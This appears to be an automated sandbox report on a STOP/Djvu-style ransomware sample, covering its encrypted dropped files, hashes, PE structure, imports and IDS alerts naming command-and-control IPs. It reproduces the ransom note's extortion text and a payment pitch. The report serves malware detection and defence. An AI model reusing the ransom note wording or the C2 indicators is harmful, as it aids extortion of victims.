Preview:	CMMM ...?t.m........o,:"..<B..~..GP^Hs..N./.Z......F....N0..eZ.>\j.......y'%.*...?.>..O30V.T.......p8)..^Vu.H...5....+..J..m\|..},......EV.xmNV.yI./j../Z.........}.......C.....Py....j...Z...8.....r.......:..P.LUS.%W.......d.HG....r.K.^.....6+)...P.^R.b<...g;.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\thumbcache_32.db.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1048910
Entropy (8bit):	1.7688273768599343
Encrypted:	false
SSDEEP:	3072:X+SM/4uZnCHOq1z69UzWz+hpt2pDEa6haiUOCsW:R3uZn/qEUzs+ApDdNi5W
MD5:	03627D65EA73B6E60A7DBD10E45F5325
SHA1:	EFF2144B509DF8E9607548FA8AFBB42AF2D1C7EA
SHA-256:	5053EA9F9B15EC762D440620309E41E5351E583B37A686C7CD882F0A3CB22C74
SHA-512:	D8E5DEB246378533D50EE0C210C3579CFAA485DCD48B5494A019EF53EFAA98E84F519A9B664A45FD99891C33088BE91EC25A92086BAAE6164F58967C93E7ABA8
Malicious:	false
Preview:	CMMM ..,O^j....&X8...'.......b.(NML....q\|.I.......55.~.x...+S-...]...8.Aon.:...E...,...P..J.<.".N.....6&...\..$$3#..WS....TF.9.\|boO._....>..$..'...^d....k..[.y.R.....W...d.;.G............U.......Yhq.[...D.;Z.yZ.2.l].,.....o~..DT.........[.$].....K.........h+.A.T.U..Ry.E_......?....7..'.~...D0.{...R..;...is.g.[.y.....l.j0k.{..ee.B....F5VA..O{.d.w/..UU....Ef...>.......6Z...<..U..5.l...~...-...I.#E..\......].. ....a2..zN.._.0...s.,TK....U.../Sw3......;.7T.H\O 6.F.....5..,...6I.... ..1.^.o.~e...a19.K'...J.D....Go..@......2\.....G.,..du......dO<8~...:.8P..p.......bK.+.z.\.Ytr..Z.._.o.}K..B......l..F1p.R...Q.2..........pW.^..F..8Ku..@....y..G.oV\|.._./9..&%(L..yI..LR.u..r..T....U.d.A~.......r...-T....u...w.Y;..x...;../..`.t...0.J!........za"..D..KU.A,..O...>`.).>L.l......H.VL.@-.....Q.k.. ..1A.....W.mU....mr.}TeD...w0.<.k.3s)...nZ..D..%.}.g.6"..L.....s..J\|...%..aJ.r...z...#qG......Nj.lh....M........../O...P...1u.aoZ....kO2.#.D.t.qv......#....,

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\thumbcache_768.db.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.315043861586492
Encrypted:	false
SSDEEP:	6:E18mCuaYy6RUG7nRMBfxO1rtdeA3cKf10ePGxkmWyc3cii96Z:Q3i6RD70uve9K3Qkm1+cii9a
MD5:	EDC16568346749654169BDC028F4A823
SHA1:	FB534FB7B69F76E383BE6A0AF13BF6B1160552FD
SHA-256:	98E2E44612D6A399D487964CB9E92D1275B154DE2E8A600B322DC77A15ED875E
SHA-512:	FF748EE0456F2802B7D60061B94E15B21233EE50453A1D795B2E3ED8CE3251066107B6EAD15B385B32F440CFEE29A56754F7066243A4E0DAEE642F611580F4E1
Malicious:	false
Preview:	CMMM .>.6.r2.Wmg..m..g>.b.ho...<j.w.C.1t.p#.r.&...q.Y.(+W._Z?C..<.M..Ld.O....z<.S[.5...R...V.w)a..+...y..'.q.A.....-[.r.G:.z\....[...k...c..../.r.....V8.+O..D...Z...I.o..8.b...{.J.o....._..)N..o.Ye.R".....y/........*..pfx..8.......Mn.9V..;y.t[O.yUPF..,.]R^!.?r.L....7..%SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\thumbcache_custom_stream.db.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.348354613865178
Encrypted:	false
SSDEEP:	6:aCTx8qaDsgveT0BV2i1UJOyF3FUw7FPPL6B9dW5lHkdESAS7efWyc3cii96Z:zT2qaPBVbGJFUwtSglHkeliI1+cii9a
MD5:	AF59CD32EEAFED17DDDE3018D384BC84
SHA1:	030FBE2AFD7ACD17C7C61E17EFB0241FAA644FF5
SHA-256:	7CD82D9719A60974441FCE2A27158DEA462D8F4C854AC338D6AC65174BCC49BA
SHA-512:	73435ACD7D17228B2B3CE83062C2955440397EEEB54DB185E72405320BF8B592134E58B33CDC1AEE3762A8D2329941E2D192F77BD5D80E021BAB5CC2FCB4C468
Malicious:	false
Preview:	CMMM ..........d....P.z..`..#t.O.^.)4..9l.... .m.^..c&......}......'..h.nV.eW....%(.N.i .A.}..6.q.]F.T.@..?...4..._gx.u&..I..F.J..)?l..i.....p.c..Nk....y..h.9.k...!J[E...:j.4.9.`..%........y. ....../.@..-V,...%.3.S.N;E..eV0..N.D......f'G.+pv.....[sT.....W...xE..SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\thumbcache_exif.db.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.256257879581975
Encrypted:	false
SSDEEP:	6:AgGADXfFp3W+9mlxheJaAx7XUwIE/qcZlno6i9g7WGdKogI8vfWyc3cii96Z:AgG8p+0JFnTCcZlnoR9IVgI+f1+cii9a
MD5:	7637E05BA7918FB0BDB03B9E03DF51A6
SHA1:	7C9B157E70711CC85531DF6FE9A5302C7223E8AC
SHA-256:	32F31A1859F109C82F07E27B2975A2512FC3A861A361ABD11FFEF5BB8171AFC6
SHA-512:	C56279A358CC4F60EB7EFC81A72E19B2F7AF2B0C7DFA53E831E969B86E08311C29000C051077476D80064B81E4009E35B28EF4ACAD351E27D0E90C01DC8B8642
Malicious:	false
Preview:	CMMM .Z..c..g...rz.T.......'.b.ca.S.'..C.$..+..b.A@`....5'2u...)w.z....7..Ax.....g7.Y..._9.._.-.`.'.\|$...Ff.nw%:.P.v...:..)..X...b.L........... j.!.?........1..<'.H.K..b.f..U.A..b.?.5.@.{.k..b....Y...C+.4+.W..R.\.Cm. x.T......RQx...xD.3....U...HQ..u.....,..$..:...DDSLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\input\en-GB\userdict_v1.0809.dat.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	20346
Entropy (8bit):	7.992130463146796
Encrypted:	true
SSDEEP:	384:nINzkhFci6s7SoOmtKBEK5w4W73lkzArBt9eRo1AYBdzm1b:nozu62SGtKBEK5DG3mzAFeRoV3Yb
MD5:	FE0D1743D07467CF8E1B86671E5436F1
SHA1:	6EC03D8EA96872FE42FD685897ED81541C65D3BB
SHA-256:	BAEBEDB46DD6988332B5A2B33CC9FCD793FC550B5B2E72DBEF162EDA41198C25
SHA-512:	F06136F70B104B4DD400C37FF4FD21A319FB442D030C02B33344BF5F037711A778A3873E9B4D42780F3D87D4E5FD60FF612B42726E18CC44194A83EC8CB58D3C
Malicious:	true
Preview:	.....+.]_?....Bl..L.W.zv.jK..o..c.K.d.,.....kRT......Y .6..:....p\4.}.0.u.J..o...n....7.> Ht\./.}.._...=.`.Z.r.&.....i(.&.....b.151.<..&G.L9....s.v.vWc.Q.......$V.A.......\|.D.:.tmm...R..S....D.X.$..R..%.......hC..'...j2C...5.q8(......._J..G..?..X.,..A..hU...N..<A.u0....4b.v[.)$[kPp?0.^.....8..&..w)0&n....H8..Y...u.M.....$..n...J.H..~..6.N^.b....._}.;C..n=[2.].....[#./......p.W.`e...j.j..s..Z.-G.St.D.Jb.?..%..K.#....!............H....2.s...5q.t.~.....h..<g.6P?..J.P.l...h9..k.z/~..8.....MRh}pj.uVd.).T.......wO?'.../i..g.`..J..F.)..m.-Q"..g.b.......T.. ......Gl.!=.&O2W.q.sc'.../0.3..s~....h..ok....D..^.......+sB...B..d....7...E...:`.9.a].B..J..FF1...t.b.b."...L.\..._...f..../.M.}.~..Ti0.._..K.....R.K..%...:.e.j..F..]z$..<u......$Y.Wf8!'...8".t\u.L"..^0M........{>.5l........C..nFW.............l.<.w..........{..@....0._.b.+..[8......v..D..OK...f...M........<..r6&N.?.I.........k3].?q..n.S$C_x..0...#...+qM?U.b..Mj...a..Z.i.x.... ~%w8y

C:\Users\user\Local Settings\Temp\acrobat_sbx\acroNGLLog.txt.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	24210
Entropy (8bit):	7.990932726787909
Encrypted:	true
SSDEEP:	384:7FxVkPWSs6Ubg5j9RNdpZ9mHjDeoyLko+O1i5fi+mvzZynSbEe8Qo+:7FMc6UszwHjDexLkUa6+mbZynkbZ
MD5:	D9828D29F014B4A0189CE12504FC50B3
SHA1:	F48DC1D921CE352C7CEB79D2955359898696B953
SHA-256:	97682B2D2EC6476CBB1EA242298EA0E7FD1B1F47451086116AA9A13C60BFAE2D
SHA-512:	70222C5845A3706F5173D5FC2557826AB5D12B2770147B9BD057A273176EF38A741B7AA08C3DE74146E16DDDB6A5EEE07D66E99B527E87CF4880E91D92EFD147
Malicious:	true
Preview:	03-10O7.P.9$..........)u9?\|.!6..@..........>.....g.....T..2....6...{~r.u\...l...{\|G...H"ee..F.o......:.......$...]}:..&...d....xI...Apu...1.Y.......1..s..&...li..@;.E...P5.Q............srGj..[.....A.oWj:..P.1y...>.q.x..A=.{-..VG0.5.Z..3.T`Gi..........e_flb......Ngz).b......U..B.;w..j.<..E.9....).8}Zd.....>.!......p.t.........i.......Q.0.;..9....%.py...3.X..O."..kL=.....3L....c..N8..(.....\..yw?.~.pv...rv...)....'....!..)..\....6KY2...y.t..$X.v...E..i.H...{.a..WH.....>...s.^..D.>.R..6.=..?@K...>.R......_A.M...AK&..<{Y..s.]...4."3ODE..W....T>.A......n.\|.&P..j..>.M9......$.Q.. V..9Td..`z%..X.K,.)..0]^.W.1w.!C.......H..=UF`.];`.5. ..A...RQ..D.&y..~.f..J.j..B..@z.J..fO&.fp"...T.d.b....CaC......y..;'-..7o.>......!...3xN....N.;.(.N......z...U.1.....S<x.T`..N@T.....F....wTk...h.'_.B....6....f.I..ue.L-fG&[yr[j.R...ik.L.e\.;7.y..M..ia.L..x...H.D.\|'...d.kf.S+.%...'..]..#].....!...B..K5.4..0.g..C..`.Z....F`c..;..^........=..G\.......~

C:\Users\user\Searches\winrt--{S-1-5-21-2246122658-3693405117-2476756634-1002}-.searchconnector-ms

Download File

Process:	C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1193
Entropy (8bit):	7.829365035895736
Encrypted:	false
SSDEEP:	24:9siAANF6RdCCbaqo0kGyPavlHcyciiUPevbD:96ANQRoCrDcuWzD
MD5:	150173E3E35A9D818234F51378874CFD
SHA1:	CC21C6798DE674738DD4465BD1B798DBE9CC1A43
SHA-256:	34D8E3FB848DE5C2ED486CD9233E6B6B208F82A971D0238762D162B96FBBBB9A
SHA-512:	1B4CA45506B040B3893F3D875DF6506D93CD03C85DA183FD165A9181FDD387B09473ED6CF0DA01434FAB259CF55EF4943758B4E2EA833C49AE11D8126B9F4BE0
Malicious:	false
Preview:	<?xml$.)..%...sq.C.kK.1.u>=.]Y8wBT.;.Q'.).....$n.8..0.!.5g.N4.....rvI.;.....O..&.a.&+..A...5..c:.7(.).?.J.....U,..;.-..{&.W.4.. ...P.....@..x..^.....>.f.....z...=..........-)v.i...)..rO....P6h........me.V.\|@.a.5.....3.c,.wC..B....n..<..+.G{....J.5N[.R.d......o~....`b.a.....\`.L.P........6.._..cz..a.FGj.B..".. 4.'..{uz\(I...6...y.....'Y6J....%>...1. ACD.g..%$...Q_..>..V..U.$..m.GJ`dp.)....uW....P>.~Q.....\|..u...V.x.i."........S.E.....(I..u..s[.m.j....G$.H..w.9..tM%.5..._....%'....;..Y.....8U..K..S.~t.A.....L:.R.'#..?f.^.`zC8.@....Ng..... .....ml..tU.V..r.I...5....:..uO]4.%....(.......C..@K..'.....d..i..H..=,O."c..=N9.#.(.sX..E..rD.'....n..B3.&8.h.I.....XK............Y.....`.#.%.b ..J5....\|.>(\|..E....z......C...}.d^.C.<o.~);\.`..5.FM..y..B^.....p5du......j2..!S.i8..T.I).Ox.N.7.]$.....y.\.?.h7.HHI...[..?..*.'..F....#.^..+.r.o.~/.................A"5...p.<.-..a.U.....G.2..g....Vr..JiL.H.2N..]....W).r............C.Y.n..Z..A...qf.C

C:\Users\user\Searches\winrt--{S-1-5-21-2246122658-3693405117-2476756634-1002}-.searchconnector-ms.bgjs (copy)

Download File

Process:	C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1193
Entropy (8bit):	7.829365035895736
Encrypted:	false
SSDEEP:	24:9siAANF6RdCCbaqo0kGyPavlHcyciiUPevbD:96ANQRoCrDcuWzD
MD5:	150173E3E35A9D818234F51378874CFD
SHA1:	CC21C6798DE674738DD4465BD1B798DBE9CC1A43
SHA-256:	34D8E3FB848DE5C2ED486CD9233E6B6B208F82A971D0238762D162B96FBBBB9A
SHA-512:	1B4CA45506B040B3893F3D875DF6506D93CD03C85DA183FD165A9181FDD387B09473ED6CF0DA01434FAB259CF55EF4943758B4E2EA833C49AE11D8126B9F4BE0
Malicious:	false
Preview:	<?xml$.)..%...sq.C.kK.1.u>=.]Y8wBT.;.Q'.).....$n.8..0.!.5g.N4.....rvI.;.....O..&.a.&+..A...5..c:.7(.).?.J.....U,..;.-..{&.W.4.. ...P.....@..x..^.....>.f.....z...=..........-)v.i...)..rO....P6h........me.V.\|@.a.5.....3.c,.wC..B....n..<..+.G{....J.5N[.R.d......o~....`b.a.....\`.L.P........6.._..cz..a.FGj.B..".. 4.'..{uz\(I...6...y.....'Y6J....%>...1. ACD.g..%$...Q_..>..V..U.$..m.GJ`dp.)....uW....P>.~Q.....\|..u...V.x.i."........S.E.....(I..u..s[.m.j....G$.H..w.9..tM%.5..._....%'....;..Y.....8U..K..S.~t.A.....L:.R.'#..?f.^.`zC8.@....Ng..... .....ml..tU.V..r.I...5....:..uO]4.%....(.......C..@K..'.....d..i..H..=,O."c..=N9.#.(.sX..E..rD.'....n..B3.&8.h.I.....XK............Y.....`.#.%.b ..J5....\|.>(\|..E....z......C...}.d^.C.<o.~);\.`..5.FM..y..B^.....p5du......j2..!S.i8..T.I).Ox.N.7.]$.....y.\.?.h7.HHI...[..?..*.'..F....#.^..+.r.o.~/.................A"5...p.<.-..a.U.....G.2..g....Vr..JiL.H.2N..]....W).r............C.Y.n..Z..A...qf.C

C:\Users\user\_README.txt

Download File

Process:	C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1381
Entropy (8bit):	4.894830319422743
Encrypted:	false
SSDEEP:	24:FS5ZHPnIekFQjhRe9bgnYfJeKAUEuWEYNzk5LmFRqrs6314kA+GT/kF5M2/kJw3j:WZHfv0pfNAU5WEYNzoLPs41rDGT0f/kU
MD5:	153B09F9C8FC32C5A25E92A00ED05ABB
SHA1:	72BFC185DE8F4F400218F88B896EE8C5D95006BE
SHA-256:	346083BFC7E3CBC8684F762F8BF844BEE94FA6C77D5BE9CA84B14356C7F1DB93
SHA-512:	C50B92F597F0634A086BF5F92855370ED2B7D84E9ADA45C53BC3CC97A486CD17C8144C675CE8EEBE0730347F8AB02E6B31D2F3D721DB104616002B7425E2C976
Malicious:	true
Preview:	ATTENTION!....Don't worry, you can return all your files!..All your files like pictures, databases, documents and other important are encrypted with strongest encryption and unique key...The only method of recovering files is to purchase decrypt tool and unique key for you...This software will decrypt all your encrypted files...What guarantees you have?..You can send one of your encrypted file from your PC and we decrypt it for free...But we can decrypt only 1 file for free. File must not contain valuable information...Do not ask assistants from youtube and recovery data sites for help in recovering your data...They can use your free decryption quota and scam you...Our contact is emails in this text document only...You can get and look video overview decrypt tool:..https://wetransfer.com/downloads/54cdfd152fe98eedb628a1f4ddb7076420240421150208/403a27..Price of private key and decrypt software is $999...Discount 50% available if you contact us first 72 hours, that's price for you is $49

C:\_README.txt

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1381
Entropy (8bit):	4.894830319422743
Encrypted:	false
SSDEEP:	24:FS5ZHPnIekFQjhRe9bgnYfJeKAUEuWEYNzk5LmFRqrs6314kA+GT/kF5M2/kJw3j:WZHfv0pfNAU5WEYNzoLPs41rDGT0f/kU
MD5:	153B09F9C8FC32C5A25E92A00ED05ABB
SHA1:	72BFC185DE8F4F400218F88B896EE8C5D95006BE
SHA-256:	346083BFC7E3CBC8684F762F8BF844BEE94FA6C77D5BE9CA84B14356C7F1DB93
SHA-512:	C50B92F597F0634A086BF5F92855370ED2B7D84E9ADA45C53BC3CC97A486CD17C8144C675CE8EEBE0730347F8AB02E6B31D2F3D721DB104616002B7425E2C976
Malicious:	true
Preview:	ATTENTION!....Don't worry, you can return all your files!..All your files like pictures, databases, documents and other important are encrypted with strongest encryption and unique key...The only method of recovering files is to purchase decrypt tool and unique key for you...This software will decrypt all your encrypted files...What guarantees you have?..You can send one of your encrypted file from your PC and we decrypt it for free...But we can decrypt only 1 file for free. File must not contain valuable information...Do not ask assistants from youtube and recovery data sites for help in recovering your data...They can use your free decryption quota and scam you...Our contact is emails in this text document only...You can get and look video overview decrypt tool:..https://wetransfer.com/downloads/54cdfd152fe98eedb628a1f4ddb7076420240421150208/403a27..Price of private key and decrypt software is $999...Discount 50% available if you contact us first 72 hours, that's price for you is $49

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.701428172373208
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	n8XBpFdVFU.exe
File size:	781'824 bytes
MD5:	19f46c713419f534c1532645b764c7b4
SHA1:	f61f07d60704ff3d843596a6068b12f565bbed23
SHA256:	8b7851ae383ee5e1d106322f99d0a6149044e317ed310ce7464ff7d82afa725c
SHA512:	595bad474662dd1e1cdbdec310c96b42201443d07c975a96c8d0bddb6f08714b55383aec213106424201be6304e7c620e696c54ee70ff8027c11f1cf129a08f4
SSDEEP:	12288:Ck30NbksICSr1WWknJ7RHWaqrx3A4VpRZZTLpu02zSa8wQR1oFqVDNmw/oI9wIG:kksIjr1EJ7R2aqN3zbFTM02zFW1TDLiz
TLSH:	38F412027DE198B4E6E3C2714821B961C67BFD715AF18E27739C654E3A740C08A8DBB7
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......bD}.&%..&%..&%..+w..8%..+w..Y%..+w...%../]..!%..&%..H%......'%..+w..'%......'%..Rich&%..........................PE..L.....&d...

File Icon


Icon Hash:	512551454d59510d

Static PE Info

General

Entrypoint:	0x40433f
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	TERMINAL_SERVER_AWARE
Time Stamp:	0x6426E500 [Fri Mar 31 13:49:52 2023 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	7a859eb45559cc02e871ff551b10175d

Entrypoint Preview

Instruction
call 00007F83E0C75D5Ch
jmp 00007F83E0C702A5h
push 00000014h
push 004199F8h
call 00007F83E0C72710h
call 00007F83E0C75F2Dh
movzx esi, ax
push 00000002h
call 00007F83E0C75CEFh
pop ecx
mov eax, 00005A4Dh
cmp word ptr [00400000h], ax
je 00007F83E0C702A6h
xor ebx, ebx
jmp 00007F83E0C702D5h
mov eax, dword ptr [0040003Ch]
cmp dword ptr [eax+00400000h], 00004550h
jne 00007F83E0C7028Dh
mov ecx, 0000010Bh
cmp word ptr [eax+00400018h], cx
jne 00007F83E0C7027Fh
xor ebx, ebx
cmp dword ptr [eax+00400074h], 0Eh
jbe 00007F83E0C702ABh
cmp dword ptr [eax+004000E8h], ebx
setne bl
mov dword ptr [ebp-1Ch], ebx
call 00007F83E0C71945h
test eax, eax
jne 00007F83E0C702AAh
push 0000001Ch
call 00007F83E0C70381h
pop ecx
call 00007F83E0C758EDh
test eax, eax
jne 00007F83E0C702AAh
push 00000010h
call 00007F83E0C70370h
pop ecx
call 00007F83E0C75D68h
and dword ptr [ebp-04h], 00000000h
call 00007F83E0C73751h
test eax, eax
jns 00007F83E0C702AAh
push 0000001Bh
call 00007F83E0C70356h
pop ecx
call dword ptr [004120B8h]
mov dword ptr [040A0DA4h], eax
call 00007F83E0C75D83h
mov dword ptr [004B32ECh], eax
call 00007F83E0C75940h
test eax, eax
jns 00007F83E0C702AAh

Rich Headers

Programming Language:

[ASM] VS2013 build 21005
[ C ] VS2013 build 21005
[C++] VS2013 build 21005
[IMP] VS2008 SP1 build 30729
[RES] VS2013 build 21005
[LNK] VS2013 UPD5 build 40629

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x19e04	0x50	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x3ca1000	0xd808	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x121f0	0x38	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x19320	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x12000	0x188	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x10255	0x10400	ab9fdf7de48d50e6826c3aee5f61c11b	False	0.5994891826923077	data	6.711255539507652	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x12000	0x86f8	0x8800	9d2d24f98a30eb3eb4e91533c67c667e	False	0.4509708180147059	data	5.095681228448364	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x1b000	0x3c85da8	0x98400	c749725483f38d3048e77b7cf40aaec7	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x3ca1000	0xd808	0xda00	417d8bc24740052f05979c4c2bc236ee	False	0.5081171158256881	data	5.406412311079553	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
AFX_DIALOG_LAYOUT	0x3cade68	0xe	data			1.5714285714285714
AFX_DIALOG_LAYOUT	0x3cade78	0xe	data			1.5714285714285714
RT_ICON	0x3ca14d0	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	Romanian	Romania	0.5676972281449894
RT_ICON	0x3ca2378	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	Romanian	Romania	0.5478339350180506
RT_ICON	0x3ca2c20	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	Romanian	Romania	0.6184971098265896
RT_ICON	0x3ca3188	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	Romanian	Romania	0.46307053941908716
RT_ICON	0x3ca5730	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	Romanian	Romania	0.48944652908067543
RT_ICON	0x3ca67d8	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 0	Romanian	Romania	0.49836065573770494
RT_ICON	0x3ca7160	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	Romanian	Romania	0.45478723404255317
RT_ICON	0x3ca7630	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	Romanian	Romania	0.4189765458422175
RT_ICON	0x3ca84d8	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	Romanian	Romania	0.47653429602888087
RT_ICON	0x3ca8d80	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 0	Romanian	Romania	0.5766129032258065
RT_ICON	0x3ca9448	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	Romanian	Romania	0.47760115606936415
RT_ICON	0x3ca99b0	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	Romanian	Romania	0.46898340248962656
RT_ICON	0x3cabf58	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	Romanian	Romania	0.4842870544090056
RT_ICON	0x3cad000	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 0	Romanian	Romania	0.5024590163934426
RT_ICON	0x3cad988	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	Romanian	Romania	0.5593971631205674
RT_STRING	0x3cae070	0x3d2	data	Romanian	Romania	0.46319018404907975
RT_STRING	0x3cae448	0x3bc	data	Romanian	Romania	0.4592050209205021
RT_GROUP_ICON	0x3ca75c8	0x68	data	Romanian	Romania	0.6923076923076923
RT_GROUP_ICON	0x3caddf0	0x76	data	Romanian	Romania	0.6779661016949152
RT_VERSION	0x3cade88	0x1e4	data			0.5392561983471075

Imports

DLL	Import
KERNEL32.dll	GetLocaleInfoA, FindResourceExW, LocalCompact, InterlockedDecrement, GetComputerNameW, CreateHardLinkA, BackupSeek, GetTickCount, GetConsoleAliasesA, GetWindowsDirectoryA, EnumTimeFormatsA, GetUserDefaultLangID, SetCommState, LoadLibraryW, ReadConsoleInputA, WriteConsoleW, GetModuleFileNameW, MultiByteToWideChar, GetTempPathW, GlobalMemoryStatus, ChangeTimerQueueTimer, SetLastError, GetThreadLocale, GetProcAddress, SetFileAttributesA, BuildCommDCBW, LoadLibraryA, LocalAlloc, GetExitCodeThread, AddAtomW, RemoveDirectoryW, GlobalFindAtomW, GetOEMCP, LoadLibraryExA, SetCalendarInfoA, GetConsoleProcessList, GetVolumeInformationW, GetLastError, GetSystemDefaultLangID, GetStringTypeW, HeapAlloc, EncodePointer, DecodePointer, IsProcessorFeaturePresent, GetCommandLineA, RaiseException, RtlUnwind, IsDebuggerPresent, HeapFree, ExitProcess, GetModuleHandleExW, WideCharToMultiByte, GetStdHandle, WriteFile, GetProcessHeap, EnterCriticalSection, LeaveCriticalSection, FlushFileBuffers, GetConsoleCP, GetConsoleMode, DeleteCriticalSection, HeapSize, GetFileType, GetStartupInfoW, CloseHandle, GetCurrentThreadId, GetModuleFileNameA, QueryPerformanceCounter, GetCurrentProcessId, GetSystemTimeAsFileTime, GetEnvironmentStringsW, FreeEnvironmentStringsW, UnhandledExceptionFilter, SetUnhandledExceptionFilter, InitializeCriticalSectionAndSpinCount, Sleep, GetCurrentProcess, TerminateProcess, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, GetModuleHandleW, LoadLibraryExW, IsValidCodePage, GetACP, GetCPInfo, OutputDebugStringW, SetStdHandle, SetFilePointerEx, HeapReAlloc, LCMapStringW, CreateFileW
ADVAPI32.dll	DeregisterEventSource
WINHTTP.dll	WinHttpOpen

Possible Origin

Language of compilation system	Country where language is spoken	Map
Romanian	Romania

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
04/24/24-17:47:01.814193	TCP	2036333	ET TROJAN Win32/Vodkagats Loader Requesting Payload	49736	80	192.168.2.4	211.119.84.111
04/24/24-17:47:01.814193	TCP	2020826	ET TROJAN Potential Dridex.Maldoc Minimal Executable Request	49736	80	192.168.2.4	211.119.84.111
04/24/24-17:46:58.930113	TCP	2833438	ETPRO TROJAN STOP Ransomware CnC Activity	49735	80	192.168.2.4	211.119.84.111
04/24/24-17:46:59.818038	TCP	2036335	ET TROJAN Win32/Filecoder.STOP Variant Public Key Download	80	49734	211.119.84.111	192.168.2.4
04/24/24-17:46:58.773156	TCP	2036333	ET TROJAN Win32/Vodkagats Loader Requesting Payload	49733	80	192.168.2.4	175.119.10.231
